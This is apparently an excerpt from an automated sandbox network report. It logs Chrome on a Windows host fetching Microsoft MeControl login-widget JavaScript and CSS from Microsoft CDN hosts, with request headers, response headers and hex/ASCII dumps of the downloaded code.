28 29 29 2c 74 2e 6f Data Ascii: andler=h.debounce(t.expandedScrollHandler.bind(t)),t.state={expanded:!1},t}function $(e,t,n){var r=new f.SyntheticEvent("commandclick",{commandId:t.id,currentAccount:n}),o=f.getOptions();o&&(o.syntheticEventTarget.dispatchEvent(r)\|\|e.preventDefault()),t.o
2024-08-29 22:19:53 UTC	16384	IN	Data Raw: 6f 6e 74 65 6e 74 29 3b 72 65 74 75 72 6e 7b 70 61 72 74 41 3a 6e 2c 70 61 72 74 42 3a 7b 76 65 72 3a 22 31 2e 30 22 2c 69 6d 70 72 65 73 73 69 6f 6e 47 75 69 64 3a 74 2e 69 6d 70 72 65 73 73 69 6f 6e 47 75 69 64 2c 6d 61 72 6b 65 74 3a 66 2e 4d 45 2e 43 6f 6e 66 69 67 2e 6d 6b 74 2c 70 61 67 65 54 61 67 73 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 66 2e 67 65 74 50 61 67 65 54 61 67 73 28 74 2e 61 63 63 6f 75 6e 74 73 2e 63 6f 75 6e 74 73 2c 74 2e 61 63 63 6f 75 6e 74 73 2e 63 75 72 72 65 6e 74 29 29 2c 63 6f 6e 74 65 6e 74 56 65 72 3a 22 32 2e 30 22 2c 63 6f 6e 74 65 6e 74 3a 22 5b 22 2b 72 2b 22 5d 22 7d 2c 70 61 72 74 43 3a 7b 62 61 73 65 54 79 70 65 3a 46 65 2c 70 61 67 65 4c 6f 61 64 54 69 6d 65 3a 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2e 6c 6f Data Ascii: ontent);return{partA:n,partB:{ver:"1.0",impressionGuid:t.impressionGuid,market:f.ME.Config.mkt,pageTags:JSON.stringify(f.getPageTags(t.accounts.counts,t.accounts.current)),contentVer:"2.0",content:"["+r+"]"},partC:{baseType:Fe,pageLoadTime:Math.round(e.lo
2024-08-29 22:19:53 UTC	16384	IN	Data Raw: 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 66 69 6c 6c 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5c 78 33 61 70 75 72 70 6c 65 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 74 68 65 6d 65 5f 61 7a 75 72 65 5f 68 63 6c 69 67 68 74 20 2e 6d 65 63 74 72 6c 5f 63 75 72 72 65 6e 74 41 63 63 6f 75 6e 74 20 61 2e 6d 65 63 74 72 6c 5f 73 69 67 6e 6f 75 74 5c 78 33 61 61 63 74 69 76 65 5c 78 37 62 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 2d 61 64 6a 75 73 74 5c 78 33 61 6e 6f 6e 65 5c 78 33 62 63 6f 6c 6f 72 5c Data Ascii: r\x3a\x23fff\x21important\x3boutline-color\x3a\x23fff\x21important\x3bfill\x3a\x23fff\x21important\x3bbackground-color\x3apurple\x7d.mectrl_theme_azure_hclight .mectrl_currentAccount a.mectrl_signout\x3aactive\x7b-ms-high-contrast-adjust\x3anone\x3bcolor\
2024-08-29 22:19:53 UTC	16384	IN	Data Raw: 63 6b 5c 78 32 39 5c 78 37 62 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 20 75 6c 20 6c 69 20 61 2c 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 20 75 6c 20 6c 69 20 62 75 74 74 6f 6e 5c 78 37 62 62 6f 72 64 65 72 5c 78 33 61 73 6f 6c 69 64 20 31 70 78 5c 78 37 64 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 2e 66 69 78 65 64 2d 6d 65 6e 75 20 75 6c 5c 78 37 62 70 6f 73 69 74 69 6f 6e 5c 78 33 61 66 69 78 65 64 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 20 75 6c 5c 78 37 62 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 33 33 33 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 20 75 6c 20 61 5c 78 33 61 Data Ascii: ck\x29\x7b.mectrl_menu ul li a,.mectrl_menu ul li button\x7bborder\x3asolid 1px\x7d\x7d.mectrl_menu.fixed-menu ul\x7bposition\x3afixed\x7d.mectrl_menu ul\x7bcolor\x3a\x23333\x21important\x3bbackground-color\x3a\x23fff\x21important\x7d.mectrl_menu ul a\x3a
2024-08-29 22:19:53 UTC	16384	IN	Data Raw: 65 72 20 2e 70 72 69 6d 61 72 79 41 63 74 69 6f 6e 2e 73 69 67 6e 49 6e 5c 78 37 62 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 30 66 66 5c 78 37 64 5c 78 37 64 5c 78 34 30 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 5c 78 32 38 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 5c 78 33 61 62 6c 61 63 6b 2d 6f 6e 2d 77 68 69 74 65 5c 78 32 39 5c 78 37 62 2e 6d 65 63 74 72 6c 5f 61 63 63 6f 75 6e 74 49 74 65 6d 20 2e 70 72 69 6d 61 72 79 41 63 74 69 6f 6e 2e 65 78 70 61 6e 64 65 64 2e 73 69 67 6e 49 6e 2c 2e 6d 65 63 74 72 6c 5f 61 63 63 6f 75 6e 74 49 74 65 6d 5c 78 33 61 68 6f 76 65 72 20 2e 70 72 69 6d 61 72 79 41 63 74 69 6f 6e 2e 73 69 67 6e 49 6e 5c 78 37 62 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5c 78 33 Data Ascii: er .primaryAction.signIn\x7bbackground-color\x3a\x230ff\x7d\x7d\x40media screen and \x28-ms-high-contrast\x3ablack-on-white\x29\x7b.mectrl_accountItem .primaryAction.expanded.signIn,.mectrl_accountItem\x3ahover .primaryAction.signIn\x7bbackground-color\x3
2024-08-29 22:19:53 UTC	3087	IN	Data Raw: 61 7a 75 72 65 5f 68 63 6c 69 67 68 74 20 2e 6d 65 63 74 72 6c 5f 61 63 63 6f 75 6e 74 41 63 74 69 6f 6e 73 20 2e 6d 65 63 74 72 6c 5f 74 72 69 67 67 65 72 2e 65 78 70 61 6e 64 65 64 2c 2e 6d 65 63 74 72 6c 5f 74 68 65 6d 65 5f 61 7a 75 72 65 5f 68 63 6c 69 67 68 74 20 2e 6d 65 63 74 72 6c 5f 61 63 63 6f 75 6e 74 41 63 74 69 6f 6e 73 20 2e 6d 65 63 74 72 6c 5f 74 72 69 67 67 65 72 5c 78 33 61 68 6f 76 65 72 5c 78 37 62 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 2d 61 64 6a 75 73 74 5c 78 33 61 6e 6f 6e 65 5c 78 33 62 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 6f 75 74 6c 69 Data Ascii: azure_hclight .mectrl_accountActions .mectrl_trigger.expanded,.mectrl_theme_azure_hclight .mectrl_accountActions .mectrl_trigger\x3ahover\x7b-ms-high-contrast-adjust\x3anone\x3bcolor\x3a\x23fff\x21important\x3bborder-color\x3a\x23fff\x21important\x3boutli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49900	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:53 UTC	385	OUT	GET /scripts/me/MeControl/10.24086.4/en-US/meCore.min.js HTTP/1.1 Host: mem.gfx.ms Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:53 UTC	622	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:53 GMT Content-Type: application/javascript Content-Length: 100769 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Thu, 22 Aug 2024 23:12:08 GMT ETag: "1daf5236222e5a1" X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * X-UA-Compatible: IE=edge Strict-Transport-Security: max-age=31536000; includeSubDomains x-azure-ref: 20240829T221953Z-16579567576pgh4h94c7qn0kuc00000002g000000000a2tq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:53 UTC	15762	IN	Data Raw: 4d 65 43 6f 6e 74 72 6f 6c 44 65 66 69 6e 65 28 22 6d 65 43 6f 72 65 22 2c 5b 22 65 78 70 6f 72 74 73 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 69 6e 6c 69 6e 65 22 2c 22 40 6d 65 63 6f 6e 74 72 6f 6c 2f 77 65 62 2d 62 6f 6f 74 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 72 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 Data Ascii: MeControlDefine("meCore",["exports","@mecontrol/web-inline","@mecontrol/web-boot"],function(e,f,h){"use strict";var r=function(e,t){return(r=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)
2024-08-29 22:19:54 UTC	16384	IN	Data Raw: 61 6e 64 6c 65 72 3d 68 2e 64 65 62 6f 75 6e 63 65 28 74 2e 65 78 70 61 6e 64 65 64 53 63 72 6f 6c 6c 48 61 6e 64 6c 65 72 2e 62 69 6e 64 28 74 29 29 2c 74 2e 73 74 61 74 65 3d 7b 65 78 70 61 6e 64 65 64 3a 21 31 7d 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 65 77 20 66 2e 53 79 6e 74 68 65 74 69 63 45 76 65 6e 74 28 22 63 6f 6d 6d 61 6e 64 63 6c 69 63 6b 22 2c 7b 63 6f 6d 6d 61 6e 64 49 64 3a 74 2e 69 64 2c 63 75 72 72 65 6e 74 41 63 63 6f 75 6e 74 3a 6e 7d 29 2c 6f 3d 66 2e 67 65 74 4f 70 74 69 6f 6e 73 28 29 3b 6f 26 26 28 6f 2e 73 79 6e 74 68 65 74 69 63 45 76 65 6e 74 54 61 72 67 65 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 72 29 7c 7c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 29 2c 74 2e 6f Data Ascii: andler=h.debounce(t.expandedScrollHandler.bind(t)),t.state={expanded:!1},t}function $(e,t,n){var r=new f.SyntheticEvent("commandclick",{commandId:t.id,currentAccount:n}),o=f.getOptions();o&&(o.syntheticEventTarget.dispatchEvent(r)\|\|e.preventDefault()),t.o
2024-08-29 22:19:54 UTC	16384	IN	Data Raw: 6f 6e 74 65 6e 74 29 3b 72 65 74 75 72 6e 7b 70 61 72 74 41 3a 6e 2c 70 61 72 74 42 3a 7b 76 65 72 3a 22 31 2e 30 22 2c 69 6d 70 72 65 73 73 69 6f 6e 47 75 69 64 3a 74 2e 69 6d 70 72 65 73 73 69 6f 6e 47 75 69 64 2c 6d 61 72 6b 65 74 3a 66 2e 4d 45 2e 43 6f 6e 66 69 67 2e 6d 6b 74 2c 70 61 67 65 54 61 67 73 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 66 2e 67 65 74 50 61 67 65 54 61 67 73 28 74 2e 61 63 63 6f 75 6e 74 73 2e 63 6f 75 6e 74 73 2c 74 2e 61 63 63 6f 75 6e 74 73 2e 63 75 72 72 65 6e 74 29 29 2c 63 6f 6e 74 65 6e 74 56 65 72 3a 22 32 2e 30 22 2c 63 6f 6e 74 65 6e 74 3a 22 5b 22 2b 72 2b 22 5d 22 7d 2c 70 61 72 74 43 3a 7b 62 61 73 65 54 79 70 65 3a 46 65 2c 70 61 67 65 4c 6f 61 64 54 69 6d 65 3a 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2e 6c 6f Data Ascii: ontent);return{partA:n,partB:{ver:"1.0",impressionGuid:t.impressionGuid,market:f.ME.Config.mkt,pageTags:JSON.stringify(f.getPageTags(t.accounts.counts,t.accounts.current)),contentVer:"2.0",content:"["+r+"]"},partC:{baseType:Fe,pageLoadTime:Math.round(e.lo
2024-08-29 22:19:54 UTC	16384	IN	Data Raw: 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 66 69 6c 6c 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5c 78 33 61 70 75 72 70 6c 65 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 74 68 65 6d 65 5f 61 7a 75 72 65 5f 68 63 6c 69 67 68 74 20 2e 6d 65 63 74 72 6c 5f 63 75 72 72 65 6e 74 41 63 63 6f 75 6e 74 20 61 2e 6d 65 63 74 72 6c 5f 73 69 67 6e 6f 75 74 5c 78 33 61 61 63 74 69 76 65 5c 78 37 62 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 2d 61 64 6a 75 73 74 5c 78 33 61 6e 6f 6e 65 5c 78 33 62 63 6f 6c 6f 72 5c Data Ascii: r\x3a\x23fff\x21important\x3boutline-color\x3a\x23fff\x21important\x3bfill\x3a\x23fff\x21important\x3bbackground-color\x3apurple\x7d.mectrl_theme_azure_hclight .mectrl_currentAccount a.mectrl_signout\x3aactive\x7b-ms-high-contrast-adjust\x3anone\x3bcolor\
2024-08-29 22:19:54 UTC	16384	IN	Data Raw: 63 6b 5c 78 32 39 5c 78 37 62 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 20 75 6c 20 6c 69 20 61 2c 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 20 75 6c 20 6c 69 20 62 75 74 74 6f 6e 5c 78 37 62 62 6f 72 64 65 72 5c 78 33 61 73 6f 6c 69 64 20 31 70 78 5c 78 37 64 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 2e 66 69 78 65 64 2d 6d 65 6e 75 20 75 6c 5c 78 37 62 70 6f 73 69 74 69 6f 6e 5c 78 33 61 66 69 78 65 64 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 20 75 6c 5c 78 37 62 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 33 33 33 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 37 64 2e 6d 65 63 74 72 6c 5f 6d 65 6e 75 20 75 6c 20 61 5c 78 33 61 Data Ascii: ck\x29\x7b.mectrl_menu ul li a,.mectrl_menu ul li button\x7bborder\x3asolid 1px\x7d\x7d.mectrl_menu.fixed-menu ul\x7bposition\x3afixed\x7d.mectrl_menu ul\x7bcolor\x3a\x23333\x21important\x3bbackground-color\x3a\x23fff\x21important\x7d.mectrl_menu ul a\x3a
2024-08-29 22:19:54 UTC	16384	IN	Data Raw: 65 72 20 2e 70 72 69 6d 61 72 79 41 63 74 69 6f 6e 2e 73 69 67 6e 49 6e 5c 78 37 62 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 30 66 66 5c 78 37 64 5c 78 37 64 5c 78 34 30 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 5c 78 32 38 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 5c 78 33 61 62 6c 61 63 6b 2d 6f 6e 2d 77 68 69 74 65 5c 78 32 39 5c 78 37 62 2e 6d 65 63 74 72 6c 5f 61 63 63 6f 75 6e 74 49 74 65 6d 20 2e 70 72 69 6d 61 72 79 41 63 74 69 6f 6e 2e 65 78 70 61 6e 64 65 64 2e 73 69 67 6e 49 6e 2c 2e 6d 65 63 74 72 6c 5f 61 63 63 6f 75 6e 74 49 74 65 6d 5c 78 33 61 68 6f 76 65 72 20 2e 70 72 69 6d 61 72 79 41 63 74 69 6f 6e 2e 73 69 67 6e 49 6e 5c 78 37 62 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5c 78 33 Data Ascii: er .primaryAction.signIn\x7bbackground-color\x3a\x230ff\x7d\x7d\x40media screen and \x28-ms-high-contrast\x3ablack-on-white\x29\x7b.mectrl_accountItem .primaryAction.expanded.signIn,.mectrl_accountItem\x3ahover .primaryAction.signIn\x7bbackground-color\x3
2024-08-29 22:19:54 UTC	3087	IN	Data Raw: 61 7a 75 72 65 5f 68 63 6c 69 67 68 74 20 2e 6d 65 63 74 72 6c 5f 61 63 63 6f 75 6e 74 41 63 74 69 6f 6e 73 20 2e 6d 65 63 74 72 6c 5f 74 72 69 67 67 65 72 2e 65 78 70 61 6e 64 65 64 2c 2e 6d 65 63 74 72 6c 5f 74 68 65 6d 65 5f 61 7a 75 72 65 5f 68 63 6c 69 67 68 74 20 2e 6d 65 63 74 72 6c 5f 61 63 63 6f 75 6e 74 41 63 74 69 6f 6e 73 20 2e 6d 65 63 74 72 6c 5f 74 72 69 67 67 65 72 5c 78 33 61 68 6f 76 65 72 5c 78 37 62 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 2d 61 64 6a 75 73 74 5c 78 33 61 6e 6f 6e 65 5c 78 33 62 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 5c 78 33 61 5c 78 32 33 66 66 66 5c 78 32 31 69 6d 70 6f 72 74 61 6e 74 5c 78 33 62 6f 75 74 6c 69 Data Ascii: azure_hclight .mectrl_accountActions .mectrl_trigger.expanded,.mectrl_theme_azure_hclight .mectrl_accountActions .mectrl_trigger\x3ahover\x7b-ms-high-contrast-adjust\x3anone\x3bcolor\x3a\x23fff\x21important\x3bborder-color\x3a\x23fff\x21important\x3boutli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49906	152.199.21.175	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:55 UTC	602	OUT	GET /16.000/content/js/MeControl_Ye0OByYXt18CLWy1Pqhd4Q2.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:56 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7456747 Cache-Control: public, max-age=31536000 Content-MD5: PS13nXT03y6zfgtuT9Kz1Q== Content-Type: application/x-javascript Date: Thu, 29 Aug 2024 22:19:55 GMT Etag: 0x8DC7F9D3D11D389 Last-Modified: Wed, 29 May 2024 05:07:29 GMT Server: ECAcc (lhc/7956) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 7348d602-c01e-00d3-078f-b61346000000 x-ms-version: 2009-09-19 Content-Length: 17287 Connection: close
2024-08-29 22:19:56 UTC	16383	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 68 58 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 74 72 75 65 3a 61 3d 3d 30 7c 7c 61 3d 3d 66 61 6c 73 65 7c 7c 61 3d 3d 22 22 7d 66 75 6e 63 74 69 6f 6e 20 5f 44 75 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 68 58 28 61 29 3f 61 3a 62 7d 66 75 6e 63 74 69 6f 6e 20 5f 4a 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 7d 66 75 6e 63 74 69 6f 6e 20 5f 42 44 28 61 29 7b 72 65 74 75 72 6e 20 22 66 75 6e 63 74 69 6f 6e 22 2e 5f 66 30 28 74 79 70 65 6f 66 20 61 2c 74 72 75 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 46 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 22 73 74 72 69 6e 67 22 7d 66 75 6e 63 74 69 6f 6e 20 5f 42 45 28 61 29 7b 72 65 74 75 72 6e 20 5f 68 58 28 61 29 26 26 5f Data Ascii: function _hX(a){return a?true:a==0\|\|a==false\|\|a==""}function _Du(a,b){return _hX(a)?a:b}function _J(a){return a instanceof Array}function _BD(a){return "function"._f0(typeof a,true)}function _F(a){return typeof a=="string"}function _BE(a){return _hX(a)&&_
2024-08-29 22:19:56 UTC	904	IN	Data Raw: 64 69 72 65 63 74 55 72 69 56 61 6c 69 64 3d 53 65 72 76 65 72 44 61 74 61 2e 63 44 3b 69 66 28 64 29 62 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3d 64 7d 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 2c 5f 64 56 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 63 2c 61 29 7b 76 61 72 20 62 3d 7b 65 72 72 6f 72 3a 64 2c 75 73 65 72 4c 69 73 74 3a 5b 5d 2c 70 6f 73 74 4c 6f 67 6f 75 74 52 65 64 69 72 65 63 74 55 72 69 56 61 6c 69 64 3a 63 7d 3b 69 66 28 61 29 62 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3d 61 3b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 2c 5f 66 33 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 4d 65 43 6f 6e 74 72 6f 6c 2e 5f 6a 51 28 61 2e 6f 72 69 67 69 6e 29 21 3d 3d 4d 65 43 6f 6e 74 72 6f 6c 2e Data Ascii: directUriValid=ServerData.cD;if(d)b.performance=d}return JSON.stringify(b)},_dV:function(d,c,a){var b={error:d,userList:[],postLogoutRedirectUriValid:c};if(a)b.performance=a;return JSON.stringify(b)},_f3:function(a){if(MeControl._jQ(a.origin)!==MeControl.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49913	152.199.21.175	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:57 UTC	399	OUT	GET /16.000/content/js/MeControl_Ye0OByYXt18CLWy1Pqhd4Q2.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:57 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7456749 Cache-Control: public, max-age=31536000 Content-MD5: PS13nXT03y6zfgtuT9Kz1Q== Content-Type: application/x-javascript Date: Thu, 29 Aug 2024 22:19:57 GMT Etag: 0x8DC7F9D3D11D389 Last-Modified: Wed, 29 May 2024 05:07:29 GMT Server: ECAcc (lhc/7956) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 7348d602-c01e-00d3-078f-b61346000000 x-ms-version: 2009-09-19 Content-Length: 17287 Connection: close
2024-08-29 22:19:57 UTC	16383	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 68 58 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 74 72 75 65 3a 61 3d 3d 30 7c 7c 61 3d 3d 66 61 6c 73 65 7c 7c 61 3d 3d 22 22 7d 66 75 6e 63 74 69 6f 6e 20 5f 44 75 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 68 58 28 61 29 3f 61 3a 62 7d 66 75 6e 63 74 69 6f 6e 20 5f 4a 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 7d 66 75 6e 63 74 69 6f 6e 20 5f 42 44 28 61 29 7b 72 65 74 75 72 6e 20 22 66 75 6e 63 74 69 6f 6e 22 2e 5f 66 30 28 74 79 70 65 6f 66 20 61 2c 74 72 75 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 46 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 22 73 74 72 69 6e 67 22 7d 66 75 6e 63 74 69 6f 6e 20 5f 42 45 28 61 29 7b 72 65 74 75 72 6e 20 5f 68 58 28 61 29 26 26 5f Data Ascii: function _hX(a){return a?true:a==0\|\|a==false\|\|a==""}function _Du(a,b){return _hX(a)?a:b}function _J(a){return a instanceof Array}function _BD(a){return "function"._f0(typeof a,true)}function _F(a){return typeof a=="string"}function _BE(a){return _hX(a)&&_
2024-08-29 22:19:57 UTC	904	IN	Data Raw: 64 69 72 65 63 74 55 72 69 56 61 6c 69 64 3d 53 65 72 76 65 72 44 61 74 61 2e 63 44 3b 69 66 28 64 29 62 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3d 64 7d 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 2c 5f 64 56 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 63 2c 61 29 7b 76 61 72 20 62 3d 7b 65 72 72 6f 72 3a 64 2c 75 73 65 72 4c 69 73 74 3a 5b 5d 2c 70 6f 73 74 4c 6f 67 6f 75 74 52 65 64 69 72 65 63 74 55 72 69 56 61 6c 69 64 3a 63 7d 3b 69 66 28 61 29 62 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3d 61 3b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 2c 5f 66 33 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 4d 65 43 6f 6e 74 72 6f 6c 2e 5f 6a 51 28 61 2e 6f 72 69 67 69 6e 29 21 3d 3d 4d 65 43 6f 6e 74 72 6f 6c 2e Data Ascii: directUriValid=ServerData.cD;if(d)b.performance=d}return JSON.stringify(b)},_dV:function(d,c,a){var b={error:d,userList:[],postLogoutRedirectUriValid:c};if(a)b.performance=a;return JSON.stringify(b)},_f3:function(a){if(MeControl._jQ(a.origin)!==MeControl.

Target ID:	0
Start time:	18:19:09
Start date:	29/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
